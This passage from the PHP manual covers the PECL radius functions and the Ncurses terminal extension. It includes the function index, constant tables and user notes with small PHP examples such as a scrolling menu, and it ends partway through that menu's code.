radius_salt_encrypt_attr

(PECL radius >= 1.3.0)

radius_salt_encrypt_attr — Salt-encrypts a value

Description

string radius_salt_encrypt_attr ( resource $radius_handle , string $data )

Applies the RADIUS salt-encryption algorithm to the given value.

In general, this is achieved automatically by providing the RADIUS_OPTION_SALT option to an attribute setter function, but this function can be used if low-level request construction is required.

Parameters

data

The data to be salt-encrypted.

Return Values

Returns the salt-encrypted data or FALSE on failure.

See Also

  • radius_put_addr() - Attaches an IP address attribute
  • radius_put_attr() - Attaches a binary attribute
  • radius_put_int() - Attaches an integer attribute
  • radius_put_string() - Attaches a string attribute

User Contributed Notes

There are no user contributed notes for this page.


Sends the request and waites for a reply

  • « radius_salt_encrypt_attr
  • radius_server_secret »
  • PHP Manual
  • Radius Functions
  • Sends the request and waites for a reply

radius_send_request

(PECL radius >= 1.1.0)

radius_send_request — Sends the request and waites for a reply

Description

int radius_send_request ( resource $radius_handle )

After the Radius request has been constructed, it is sent by radius_send_request().

The radius_send_request() function sends the request and waits for a valid reply, retrying the defined servers in round-robin fashion as necessary.

Return Values

If a valid response is received, radius_send_request() returns the Radius code which specifies the type of the response. This will typically be RADIUS_ACCESS_ACCEPT, RADIUS_ACCESS_REJECT, or RADIUS_ACCESS_CHALLENGE. If no valid response is received, radius_send_request() returns FALSE.

See Also

  • radius_create_request() - Create accounting or authentication request

User Contributed Notes

There are no user contributed notes for this page.


Returns the shared secret

  • « radius_send_request
  • radius_strerror »
  • PHP Manual
  • Radius Functions
  • Returns the shared secret

radius_server_secret

(PECL radius >= 1.1.0)

radius_server_secret — Returns the shared secret

Description

string radius_server_secret ( resource $radius_handle )

The shared secret is needed as salt for demangling mangled data like passwords and encryption-keys.

Return Values

Returns the server's shared secret as string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns an error message

  • « radius_server_secret
  • Command Line Specific Extensions »
  • PHP Manual
  • Radius Functions
  • Returns an error message

radius_strerror

(PECL radius >= 1.1.0)

radius_strerror — Returns an error message

Description

string radius_strerror ( resource $radius_handle )

If Radius-functions fail then they record an error message. This error message can be retrieved with this function.

Return Values

Returns error messages as string from failed radius functions.

User Contributed Notes

There are no user contributed notes for this page.


Command Line Specific Extensions

  • Ncurses — Ncurses Terminal Screen Control
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Ncurses Functions
  • Newt
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Newt Functions
  • Readline — GNU Readline
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Readline Functions

User Contributed Notes

alvaro at demogracia dot com 11-May-2011 02:13
None of these extensions (Newt, Ncurses or Readline) work natively on Windows platforms. Ncurses is available for Cygwin, the other two do not mention it explicitly.


Ncurses Terminal Screen Control

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Error codes
    • Colors
    • Keys
    • Mouse
  • Ncurses Functions
    • ncurses_addch — Add character at current position and advance cursor
    • ncurses_addchnstr — Add attributed string with specified length at current position
    • ncurses_addchstr — Add attributed string at current position
    • ncurses_addnstr — Add string with specified length at current position
    • ncurses_addstr — Output text at current position
    • ncurses_assume_default_colors — Define default colors for color 0
    • ncurses_attroff — Turn off the given attributes
    • ncurses_attron — Turn on the given attributes
    • ncurses_attrset — Set given attributes
    • ncurses_baudrate — Returns baudrate of terminal
    • ncurses_beep — Let the terminal beep
    • ncurses_bkgd — Set background property for terminal screen
    • ncurses_bkgdset — Control screen background
    • ncurses_border — Draw a border around the screen using attributed characters
    • ncurses_bottom_panel — Moves a visible panel to the bottom of the stack
    • ncurses_can_change_color — Checks if terminal color definitions can be changed
    • ncurses_cbreak — Switch off input buffering
    • ncurses_clear — Clear screen
    • ncurses_clrtobot — Clear screen from current position to bottom
    • ncurses_clrtoeol — Clear screen from current position to end of line
    • ncurses_color_content — Retrieves RGB components of a color
    • ncurses_color_set — Set active foreground and background colors
    • ncurses_curs_set — Set cursor state
    • ncurses_def_prog_mode — Saves terminals (program) mode
    • ncurses_def_shell_mode — Saves terminals (shell) mode
    • ncurses_define_key — Define a keycode
    • ncurses_del_panel — Remove panel from the stack and delete it (but not the associated window)
    • ncurses_delay_output — Delay output on terminal using padding characters
    • ncurses_delch — Delete character at current position, move rest of line left
    • ncurses_deleteln — Delete line at current position, move rest of screen up
    • ncurses_delwin — Delete a ncurses window
    • ncurses_doupdate — Write all prepared refreshes to terminal
    • ncurses_echo — Activate keyboard input echo
    • ncurses_echochar — Single character output including refresh
    • ncurses_end — Stop using ncurses, clean up the screen
    • ncurses_erase — Erase terminal screen
    • ncurses_erasechar — Returns current erase character
    • ncurses_filter — Set LINES for iniscr() and newterm() to 1
    • ncurses_flash — Flash terminal screen (visual bell)
    • ncurses_flushinp — Flush keyboard input buffer
    • ncurses_getch — Read a character from keyboard
    • ncurses_getmaxyx — Returns the size of a window
    • ncurses_getmouse — Reads mouse event
    • ncurses_getyx — Returns the current cursor position for a window
    • ncurses_halfdelay — Put terminal into halfdelay mode
    • ncurses_has_colors — Checks if terminal has color capabilities
    • ncurses_has_ic — Check for insert- and delete-capabilities
    • ncurses_has_il — Check for line insert- and delete-capabilities
    • ncurses_has_key — Check for presence of a function key on terminal keyboard
    • ncurses_hide_panel — Remove panel from the stack, making it invisible
    • ncurses_hline — Draw a horizontal line at current position using an attributed character and max. n characters long
    • ncurses_inch — Get character and attribute at current position
    • ncurses_init_color — Define a terminal color
    • ncurses_init_pair — Define a color pair
    • ncurses_init — Initialize ncurses
    • ncurses_insch — Insert character moving rest of line including character at current position
    • ncurses_insdelln — Insert lines before current line scrolling down (negative numbers delete and scroll up)
    • ncurses_insertln — Insert a line, move rest of screen down
    • ncurses_insstr — Insert string at current position, moving rest of line right
    • ncurses_instr — Reads string from terminal screen
    • ncurses_isendwin — Ncurses is in endwin mode, normal screen output may be performed
    • ncurses_keyok — Enable or disable a keycode
    • ncurses_keypad — Turns keypad on or off
    • ncurses_killchar — Returns current line kill character
    • ncurses_longname — Returns terminals description
    • ncurses_meta — Enables/Disable 8-bit meta key information
    • ncurses_mouse_trafo — Transforms coordinates
    • ncurses_mouseinterval — Set timeout for mouse button clicks
    • ncurses_mousemask — Sets mouse options
    • ncurses_move_panel — Moves a panel so that its upper-left corner is at [startx, starty]
    • ncurses_move — Move output position
    • ncurses_mvaddch — Move current position and add character
    • ncurses_mvaddchnstr — Move position and add attributed string with specified length
    • ncurses_mvaddchstr — Move position and add attributed string
    • ncurses_mvaddnstr — Move position and add string with specified length
    • ncurses_mvaddstr — Move position and add string
    • ncurses_mvcur — Move cursor immediately
    • ncurses_mvdelch — Move position and delete character, shift rest of line left
    • ncurses_mvgetch — Move position and get character at new position
    • ncurses_mvhline — Set new position and draw a horizontal line using an attributed character and max. n characters long
    • ncurses_mvinch — Move position and get attributed character at new position
    • ncurses_mvvline — Set new position and draw a vertical line using an attributed character and max. n characters long
    • ncurses_mvwaddstr — Add string at new position in window
    • ncurses_napms — Sleep
    • ncurses_new_panel — Create a new panel and associate it with window
    • ncurses_newpad — Creates a new pad (window)
    • ncurses_newwin — Create a new window
    • ncurses_nl — Translate newline and carriage return / line feed
    • ncurses_nocbreak — Switch terminal to cooked mode
    • ncurses_noecho — Switch off keyboard input echo
    • ncurses_nonl — Do not translate newline and carriage return / line feed
    • ncurses_noqiflush — Do not flush on signal characters
    • ncurses_noraw — Switch terminal out of raw mode
    • ncurses_pair_content — Retrieves foreground and background colors of a color pair
    • ncurses_panel_above — Returns the panel above panel
    • ncurses_panel_below — Returns the panel below panel
    • ncurses_panel_window — Returns the window associated with panel
    • ncurses_pnoutrefresh — Copies a region from a pad into the virtual screen
    • ncurses_prefresh — Copies a region from a pad into the virtual screen
    • ncurses_putp — Apply padding information to the string and output it
    • ncurses_qiflush — Flush on signal characters
    • ncurses_raw — Switch terminal into raw mode
    • ncurses_refresh — Refresh screen
    • ncurses_replace_panel — Replaces the window associated with panel
    • ncurses_reset_prog_mode — Resets the prog mode saved by def_prog_mode
    • ncurses_reset_shell_mode — Resets the shell mode saved by def_shell_mode
    • ncurses_resetty — Restores saved terminal state
    • ncurses_savetty — Saves terminal state
    • ncurses_scr_dump — Dump screen content to file
    • ncurses_scr_init — Initialize screen from file dump
    • ncurses_scr_restore — Restore screen from file dump
    • ncurses_scr_set — Inherit screen from file dump
    • ncurses_scrl — Scroll window content up or down without changing current position
    • ncurses_show_panel — Places an invisible panel on top of the stack, making it visible
    • ncurses_slk_attr — Returns current soft label key attribute
    • ncurses_slk_attroff — Turn off the given attributes for soft function-key labels
    • ncurses_slk_attron — Turn on the given attributes for soft function-key labels
    • ncurses_slk_attrset — Set given attributes for soft function-key labels
    • ncurses_slk_clear — Clears soft labels from screen
    • ncurses_slk_color — Sets color for soft label keys
    • ncurses_slk_init — Initializes soft label key functions
    • ncurses_slk_noutrefresh — Copies soft label keys to virtual screen
    • ncurses_slk_refresh — Copies soft label keys to screen
    • ncurses_slk_restore — Restores soft label keys
    • ncurses_slk_set — Sets function key labels
    • ncurses_slk_touch — Forces output when ncurses_slk_noutrefresh is performed
    • ncurses_standend — Stop using 'standout' attribute
    • ncurses_standout — Start using 'standout' attribute
    • ncurses_start_color — Initializes color functionality
    • ncurses_termattrs — Returns a logical OR of all attribute flags supported by terminal
    • ncurses_termname — Returns terminals (short)-name
    • ncurses_timeout — Set timeout for special key sequences
    • ncurses_top_panel — Moves a visible panel to the top of the stack
    • ncurses_typeahead — Specify different filedescriptor for typeahead checking
    • ncurses_ungetch — Put a character back into the input stream
    • ncurses_ungetmouse — Pushes mouse event to queue
    • ncurses_update_panels — Refreshes the virtual screen to reflect the relations between panels in the stack
    • ncurses_use_default_colors — Assign terminal default colors to color id -1
    • ncurses_use_env — Control use of environment information about terminal size
    • ncurses_use_extended_names — Control use of extended names in terminfo descriptions
    • ncurses_vidattr — Display the string on the terminal in the video attribute mode
    • ncurses_vline — Draw a vertical line at current position using an attributed character and max. n characters long
    • ncurses_waddch — Adds character at current position in a window and advance cursor
    • ncurses_waddstr — Outputs text at current postion in window
    • ncurses_wattroff — Turns off attributes for a window
    • ncurses_wattron — Turns on attributes for a window
    • ncurses_wattrset — Set the attributes for a window
    • ncurses_wborder — Draws a border around the window using attributed characters
    • ncurses_wclear — Clears window
    • ncurses_wcolor_set — Sets windows color pairings
    • ncurses_werase — Erase window contents
    • ncurses_wgetch — Reads a character from keyboard (window)
    • ncurses_whline — Draws a horizontal line in a window at current position using an attributed character and max. n characters long
    • ncurses_wmouse_trafo — Transforms window/stdscr coordinates
    • ncurses_wmove — Moves windows output position
    • ncurses_wnoutrefresh — Copies window to virtual screen
    • ncurses_wrefresh — Refresh window on terminal screen
    • ncurses_wstandend — End standout mode for a window
    • ncurses_wstandout — Enter standout mode for a window
    • ncurses_wvline — Draws a vertical line in a window at current position using an attributed character and max. n characters long

User Contributed Notes

tom dot setliff at gmail dot com 17-Sep-2009 09:36
I am using php 5.2.9 on FC9 and had issues with ncurses_init() not being defined when I ran a simple script after installing with pecl.  Adding
extension ncurses.so
to my php.ini file resolved this issue. Also when installing with pecl I had some issues, they were resolved by using yum to install additional packages:
yum install ncurses-devel php-pear.


Introduction

ncurses (new curses) is a free software emulation of curses in System V Rel 4.0 (and above). It uses terminfo format, supports pads, colors, multiple highlights, form characters and function key mapping. Because of the interactive nature of this library, it will be of little use for writing Web applications, but may be useful when writing scripts meant using PHP from the command line.

The features available, such as colors, depend on the terminal that you are using. Use functions such as ncurses_has_colors(), ncurses_can_change_color(), and ncurses_has_ic() to check for individual capabilities.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

ncurses is available for the following platforms:

  • AIX
  • BeOS
  • BSD variants (FreeBSD, NetBSD, OpenBSD)
  • Cygwin
  • Digital Unix (aka OSF1)
  • GNU/Linux
  • HPUX
  • IRIX64
  • Mac OS X
  • OS/2
  • QNX
  • SCO OpenServer
  • Solaris
  • Tru64

User Contributed Notes

i 14-Sep-2013 05:36
The NCURSES functions are so awesome.  I wish we had more standard php documentation however.  I guess its up to the community.


Requirements

You need the ncurses libraries and headerfiles. Download the latest version from the » ftp://ftp.gnu.org/pub/gnu/ncurses/ or from an other GNU-Mirror.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ncurses.

Wide character CRT screen handling (ncursesw) support was added in version 1.0.1 of this PECL extension.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines window, panel and pad resources.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

Table of Contents

  • Error codes
  • Colors
  • Keys
  • Mouse

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

kermodebear (at) gmail dot com 19-Feb-2009 10:15
The constant STDSCR is also defined, which appears to be the resource handle for the screen generated when ncurses_init() is called.


Error codes

On error ncurses functions return -1. Some functions return 0 on success. See the relevant pages in the documentation for actual return values.

User Contributed Notes

There are no user contributed notes for this page.


Colors

ncurses color constants
constant | meaning
NCURSES_COLOR_BLACK | no color (black)
NCURSES_COLOR_WHITE | white
NCURSES_COLOR_RED | red - supported when terminal is in color mode
NCURSES_COLOR_GREEN | green - supported when terminal is in color mode
NCURSES_COLOR_YELLOW | yellow - supported when terminal is in color mode
NCURSES_COLOR_BLUE | blue - supported when terminal is in color mode
NCURSES_COLOR_CYAN | cyan - supported when terminal is in color mode
NCURSES_COLOR_MAGENTA | magenta - supported when terminal is in color mode

User Contributed Notes

There are no user contributed notes for this page.


Keys

ncurses key constants
constant | meaning
NCURSES_KEY_F0 - NCURSES_KEY_F64 | function keys F1 - F64
NCURSES_KEY_DOWN | down arrow
NCURSES_KEY_UP | up arrow
NCURSES_KEY_LEFT | left arrow
NCURSES_KEY_RIGHT | right arrow
NCURSES_KEY_HOME | home key (upward+left arrow)
NCURSES_KEY_BACKSPACE | backspace
NCURSES_KEY_DL | delete line
NCURSES_KEY_IL | insert line
NCURSES_KEY_DC | delete character
NCURSES_KEY_IC | insert char or enter insert mode
NCURSES_KEY_EIC | exit insert char mode
NCURSES_KEY_CLEAR | clear screen
NCURSES_KEY_EOS | clear to end of screen
NCURSES_KEY_EOL | clear to end of line
NCURSES_KEY_SF | scroll one line forward
NCURSES_KEY_SR | scroll one line backward
NCURSES_KEY_NPAGE | next page
NCURSES_KEY_PPAGE | previous page
NCURSES_KEY_STAB | set tab
NCURSES_KEY_CTAB | clear tab
NCURSES_KEY_CATAB | clear all tabs
NCURSES_KEY_SRESET | soft (partial) reset
NCURSES_KEY_RESET | reset or hard reset
NCURSES_KEY_PRINT | print
NCURSES_KEY_LL | lower left
NCURSES_KEY_A1 | upper left of keypad
NCURSES_KEY_A3 | upper right of keypad
NCURSES_KEY_B2 | center of keypad
NCURSES_KEY_C1 | lower left of keypad
NCURSES_KEY_C3 | lower right of keypad
NCURSES_KEY_BTAB | back tab
NCURSES_KEY_BEG | beginning
NCURSES_KEY_CANCEL | cancel
NCURSES_KEY_CLOSE | close
NCURSES_KEY_COMMAND | cmd (command)
NCURSES_KEY_COPY | copy
NCURSES_KEY_CREATE | create
NCURSES_KEY_END | end
NCURSES_KEY_EXIT | exit
NCURSES_KEY_FIND | find
NCURSES_KEY_HELP | help
NCURSES_KEY_MARK | mark
NCURSES_KEY_MESSAGE | message
NCURSES_KEY_MOVE | move
NCURSES_KEY_NEXT | next
NCURSES_KEY_OPEN | open
NCURSES_KEY_OPTIONS | options
NCURSES_KEY_PREVIOUS | previous
NCURSES_KEY_REDO | redo
NCURSES_KEY_REFERENCE | ref (reference)
NCURSES_KEY_REFRESH | refresh
NCURSES_KEY_REPLACE | replace
NCURSES_KEY_RESTART | restart
NCURSES_KEY_RESUME | resume
NCURSES_KEY_SAVE | save
NCURSES_KEY_SBEG | shiftet beg (beginning)
NCURSES_KEY_SCANCEL | shifted cancel
NCURSES_KEY_SCOMMAND | shifted command
NCURSES_KEY_SCOPY | shifted copy
NCURSES_KEY_SCREATE | shifted create
NCURSES_KEY_SDC | shifted delete char
NCURSES_KEY_SDL | shifted delete line
NCURSES_KEY_SELECT | select
NCURSES_KEY_SEND | shifted end
NCURSES_KEY_SEOL | shifted end of line
NCURSES_KEY_SEXIT | shifted exit
NCURSES_KEY_SFIND | shifted find
NCURSES_KEY_SHELP | shifted help
NCURSES_KEY_SHOME | shifted home
NCURSES_KEY_SIC | shifted input
NCURSES_KEY_SLEFT | shifted left arrow
NCURSES_KEY_SMESSAGE | shifted message
NCURSES_KEY_SMOVE | shifted move
NCURSES_KEY_SNEXT | shifted next
NCURSES_KEY_SOPTIONS | shifted options
NCURSES_KEY_SPREVIOUS | shifted previous
NCURSES_KEY_SPRINT | shifted print
NCURSES_KEY_SREDO | shifted redo
NCURSES_KEY_SREPLACE | shifted replace
NCURSES_KEY_SRIGHT | shifted right arrow
NCURSES_KEY_SRSUME | shifted resume
NCURSES_KEY_SSAVE | shifted save
NCURSES_KEY_SSUSPEND | shifted suspend
NCURSES_KEY_UNDO | undo
NCURSES_KEY_MOUSE | mouse event has occurred
NCURSES_KEY_MAX | maximum key value

User Contributed Notes

There are no user contributed notes for this page.


Mouse

mouse constants
Constant | meaning
NCURSES_BUTTON1_RELEASED - NCURSES_BUTTON4_RELEASED | button (1-4) released
NCURSES_BUTTON1_PRESSED - NCURSES_BUTTON4_PRESSED | button (1-4) pressed
NCURSES_BUTTON1_CLICKED - NCURSES_BUTTON4_CLICKED | button (1-4) clicked
NCURSES_BUTTON1_DOUBLE_CLICKED - NCURSES_BUTTON4_DOUBLE_CLICKED | button (1-4) double clicked
NCURSES_BUTTON1_TRIPLE_CLICKED - NCURSES_BUTTON4_TRIPLE_CLICKED | button (1-4) triple clicked
NCURSES_BUTTON_CTRL | ctrl pressed during click
NCURSES_BUTTON_SHIFT | shift pressed during click
NCURSES_BUTTON_ALT | alt pressed during click
NCURSES_ALL_MOUSE_EVENTS | report all mouse events
NCURSES_REPORT_MOUSE_POSITION | report mouse position

User Contributed Notes

There are no user contributed notes for this page.


Ncurses Functions

Table of Contents

  • ncurses_addch — Add character at current position and advance cursor
  • ncurses_addchnstr — Add attributed string with specified length at current position
  • ncurses_addchstr — Add attributed string at current position
  • ncurses_addnstr — Add string with specified length at current position
  • ncurses_addstr — Output text at current position
  • ncurses_assume_default_colors — Define default colors for color 0
  • ncurses_attroff — Turn off the given attributes
  • ncurses_attron — Turn on the given attributes
  • ncurses_attrset — Set given attributes
  • ncurses_baudrate — Returns baudrate of terminal
  • ncurses_beep — Let the terminal beep
  • ncurses_bkgd — Set background property for terminal screen
  • ncurses_bkgdset — Control screen background
  • ncurses_border — Draw a border around the screen using attributed characters
  • ncurses_bottom_panel — Moves a visible panel to the bottom of the stack
  • ncurses_can_change_color — Checks if terminal color definitions can be changed
  • ncurses_cbreak — Switch off input buffering
  • ncurses_clear — Clear screen
  • ncurses_clrtobot — Clear screen from current position to bottom
  • ncurses_clrtoeol — Clear screen from current position to end of line
  • ncurses_color_content — Retrieves RGB components of a color
  • ncurses_color_set — Set active foreground and background colors
  • ncurses_curs_set — Set cursor state
  • ncurses_def_prog_mode — Saves terminals (program) mode
  • ncurses_def_shell_mode — Saves terminals (shell) mode
  • ncurses_define_key — Define a keycode
  • ncurses_del_panel — Remove panel from the stack and delete it (but not the associated window)
  • ncurses_delay_output — Delay output on terminal using padding characters
  • ncurses_delch — Delete character at current position, move rest of line left
  • ncurses_deleteln — Delete line at current position, move rest of screen up
  • ncurses_delwin — Delete a ncurses window
  • ncurses_doupdate — Write all prepared refreshes to terminal
  • ncurses_echo — Activate keyboard input echo
  • ncurses_echochar — Single character output including refresh
  • ncurses_end — Stop using ncurses, clean up the screen
  • ncurses_erase — Erase terminal screen
  • ncurses_erasechar — Returns current erase character
  • ncurses_filter — Set LINES for iniscr() and newterm() to 1
  • ncurses_flash — Flash terminal screen (visual bell)
  • ncurses_flushinp — Flush keyboard input buffer
  • ncurses_getch — Read a character from keyboard
  • ncurses_getmaxyx — Returns the size of a window
  • ncurses_getmouse — Reads mouse event
  • ncurses_getyx — Returns the current cursor position for a window
  • ncurses_halfdelay — Put terminal into halfdelay mode
  • ncurses_has_colors — Checks if terminal has color capabilities
  • ncurses_has_ic — Check for insert- and delete-capabilities
  • ncurses_has_il — Check for line insert- and delete-capabilities
  • ncurses_has_key — Check for presence of a function key on terminal keyboard
  • ncurses_hide_panel — Remove panel from the stack, making it invisible
  • ncurses_hline — Draw a horizontal line at current position using an attributed character and max. n characters long
  • ncurses_inch — Get character and attribute at current position
  • ncurses_init_color — Define a terminal color
  • ncurses_init_pair — Define a color pair
  • ncurses_init — Initialize ncurses
  • ncurses_insch — Insert character moving rest of line including character at current position
  • ncurses_insdelln — Insert lines before current line scrolling down (negative numbers delete and scroll up)
  • ncurses_insertln — Insert a line, move rest of screen down
  • ncurses_insstr — Insert string at current position, moving rest of line right
  • ncurses_instr — Reads string from terminal screen
  • ncurses_isendwin — Ncurses is in endwin mode, normal screen output may be performed
  • ncurses_keyok — Enable or disable a keycode
  • ncurses_keypad — Turns keypad on or off
  • ncurses_killchar — Returns current line kill character
  • ncurses_longname — Returns terminals description
  • ncurses_meta — Enables/Disable 8-bit meta key information
  • ncurses_mouse_trafo — Transforms coordinates
  • ncurses_mouseinterval — Set timeout for mouse button clicks
  • ncurses_mousemask — Sets mouse options
  • ncurses_move_panel — Moves a panel so that its upper-left corner is at [startx, starty]
  • ncurses_move — Move output position
  • ncurses_mvaddch — Move current position and add character
  • ncurses_mvaddchnstr — Move position and add attributed string with specified length
  • ncurses_mvaddchstr — Move position and add attributed string
  • ncurses_mvaddnstr — Move position and add string with specified length
  • ncurses_mvaddstr — Move position and add string
  • ncurses_mvcur — Move cursor immediately
  • ncurses_mvdelch — Move position and delete character, shift rest of line left
  • ncurses_mvgetch — Move position and get character at new position
  • ncurses_mvhline — Set new position and draw a horizontal line using an attributed character and max. n characters long
  • ncurses_mvinch — Move position and get attributed character at new position
  • ncurses_mvvline — Set new position and draw a vertical line using an attributed character and max. n characters long
  • ncurses_mvwaddstr — Add string at new position in window
  • ncurses_napms — Sleep
  • ncurses_new_panel — Create a new panel and associate it with window
  • ncurses_newpad — Creates a new pad (window)
  • ncurses_newwin — Create a new window
  • ncurses_nl — Translate newline and carriage return / line feed
  • ncurses_nocbreak — Switch terminal to cooked mode
  • ncurses_noecho — Switch off keyboard input echo
  • ncurses_nonl — Do not translate newline and carriage return / line feed
  • ncurses_noqiflush — Do not flush on signal characters
  • ncurses_noraw — Switch terminal out of raw mode
  • ncurses_pair_content — Retrieves foreground and background colors of a color pair
  • ncurses_panel_above — Returns the panel above panel
  • ncurses_panel_below — Returns the panel below panel
  • ncurses_panel_window — Returns the window associated with panel
  • ncurses_pnoutrefresh — Copies a region from a pad into the virtual screen
  • ncurses_prefresh — Copies a region from a pad into the virtual screen
  • ncurses_putp — Apply padding information to the string and output it
  • ncurses_qiflush — Flush on signal characters
  • ncurses_raw — Switch terminal into raw mode
  • ncurses_refresh — Refresh screen
  • ncurses_replace_panel — Replaces the window associated with panel
  • ncurses_reset_prog_mode — Resets the prog mode saved by def_prog_mode
  • ncurses_reset_shell_mode — Resets the shell mode saved by def_shell_mode
  • ncurses_resetty — Restores saved terminal state
  • ncurses_savetty — Saves terminal state
  • ncurses_scr_dump — Dump screen content to file
  • ncurses_scr_init — Initialize screen from file dump
  • ncurses_scr_restore — Restore screen from file dump
  • ncurses_scr_set — Inherit screen from file dump
  • ncurses_scrl — Scroll window content up or down without changing current position
  • ncurses_show_panel — Places an invisible panel on top of the stack, making it visible
  • ncurses_slk_attr — Returns current soft label key attribute
  • ncurses_slk_attroff — Turn off the given attributes for soft function-key labels
  • ncurses_slk_attron — Turn on the given attributes for soft function-key labels
  • ncurses_slk_attrset — Set given attributes for soft function-key labels
  • ncurses_slk_clear — Clears soft labels from screen
  • ncurses_slk_color — Sets color for soft label keys
  • ncurses_slk_init — Initializes soft label key functions
  • ncurses_slk_noutrefresh — Copies soft label keys to virtual screen
  • ncurses_slk_refresh — Copies soft label keys to screen
  • ncurses_slk_restore — Restores soft label keys
  • ncurses_slk_set — Sets function key labels
  • ncurses_slk_touch — Forces output when ncurses_slk_noutrefresh is performed
  • ncurses_standend — Stop using 'standout' attribute
  • ncurses_standout — Start using 'standout' attribute
  • ncurses_start_color — Initializes color functionality
  • ncurses_termattrs — Returns a logical OR of all attribute flags supported by terminal
  • ncurses_termname — Returns terminals (short)-name
  • ncurses_timeout — Set timeout for special key sequences
  • ncurses_top_panel — Moves a visible panel to the top of the stack
  • ncurses_typeahead — Specify different filedescriptor for typeahead checking
  • ncurses_ungetch — Put a character back into the input stream
  • ncurses_ungetmouse — Pushes mouse event to queue
  • ncurses_update_panels — Refreshes the virtual screen to reflect the relations between panels in the stack
  • ncurses_use_default_colors — Assign terminal default colors to color id -1
  • ncurses_use_env — Control use of environment information about terminal size
  • ncurses_use_extended_names — Control use of extended names in terminfo descriptions
  • ncurses_vidattr — Display the string on the terminal in the video attribute mode
  • ncurses_vline — Draw a vertical line at current position using an attributed character and max. n characters long
  • ncurses_waddch — Adds character at current position in a window and advance cursor
  • ncurses_waddstr — Outputs text at current postion in window
  • ncurses_wattroff — Turns off attributes for a window
  • ncurses_wattron — Turns on attributes for a window
  • ncurses_wattrset — Set the attributes for a window
  • ncurses_wborder — Draws a border around the window using attributed characters
  • ncurses_wclear — Clears window
  • ncurses_wcolor_set — Sets windows color pairings
  • ncurses_werase — Erase window contents
  • ncurses_wgetch — Reads a character from keyboard (window)
  • ncurses_whline — Draws a horizontal line in a window at current position using an attributed character and max. n characters long
  • ncurses_wmouse_trafo — Transforms window/stdscr coordinates
  • ncurses_wmove — Moves windows output position
  • ncurses_wnoutrefresh — Copies window to virtual screen
  • ncurses_wrefresh — Refresh window on terminal screen
  • ncurses_wstandend — End standout mode for a window
  • ncurses_wstandout — Enter standout mode for a window
  • ncurses_wvline — Draws a vertical line in a window at current position using an attributed character and max. n characters long

User Contributed Notes

g_a at freemail dot deletethispart dot hu 02-Feb-2006 03:03
To determine screen width and height without any external (OS specific) commands, I use:

<?php
ncurses_init();
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
ncurses_getmaxyx($fullscreen,&$a,&$b);
ncurses_end();
echo "Width:$b\nHeight:$a\n";
?>
krzysztof dot gorzelak at gmail dot com 05-Nov-2005 11:36
Here is a small example, how to use STDIN to read keys combinations in console.

$stdin = fopen('php://stdin', 'r');
stream_set_timeout($stdin, 1);
while (1) {
  $temp="";
    while (1) {
      if(stream_select($read = array($stdin), $write = NULL, $except = NULL, 0))
        $temp .= ord(fgetc($stdin));
      else break;
    }

    // F1 : $temp == 27914949126
    // ALT+F1 : $temp = 2727914949126
    // ....

    usleep("50000");
}
kermodebear at kermodebear dot org 17-Jun-2004 09:27
An implementation of a scrolling selection box:

<?php
function ncurses_menu_select( $options, $values, $max_height = 7, $max_width = 20, $y = 2, $x = 2 ) {
        // Size inside of borders
        $height = $max_height - 2;
        $width  = $max_width  - 2;

        // Number of options
        $num_options = count( $options );

        // Trim all values to fit
        foreach( $options as $key => $value ) {
                $options[ $key ] = substr( $value, 0, $width );
        }

        // Create Window
        $menu_window = ncurses_newwin( $max_height, $max_width, $y, $x );
        ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );

        // Initialize Window
        $current = 0; // Currently selected
        $position = 1; // Position in list
        $topitem = 0; // Top menu item
        for ( $a = 0; $a < min( $height, $num_options ); $a++ ) {
                if ( $a == $current ) {
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                } else {
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                }
        }
        ncurses_mvwaddstr( $menu_window, 1, 0, '*' );
        ncurses_wrefresh( $menu_window );
        // Loop until a selection is made
        while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
                if ( $key == NCURSES_KEY_UP && $current > 0 ) {
                        $move = -1;
                } else if ( $key == NCURSES_KEY_DOWN && $current < $num_options - 1 ) {
                        $move = 1;
                } else {
                        continue;
                }

                $current += $move;
                $position += $move;
                // If we scroll off the window, redraw items.
                if ( $position < 1 || $position > $height ) {
                        if ( $position < 1 ) {
                                $position = 1;
                        } else {
                                $position = $height;
                        }
                        $topitem += $move;
                        for ( $a = 1; $a <= $height; $a++ ) {
                                ncurses_mvwaddstr( $menu_window, $a, 1, str_repeat( ' ', $width ) );
                                if ( $a == $position ) {
                                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                                        ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                                } else {
                                        ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                }
                        }
                } else { // Just update changed items
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, $position, 1, $options[ $current ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, $position - $move, 1, $options[ $current - $move ] );
                }
                // Update 'scroll bar dot'
                ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );
                $dot_position = round ( ( $current / $num_options ) * ( $height - 1 ) );
                ncurses_mvwaddstr( $menu_window, 1 + $dot_position, 0, '*' );

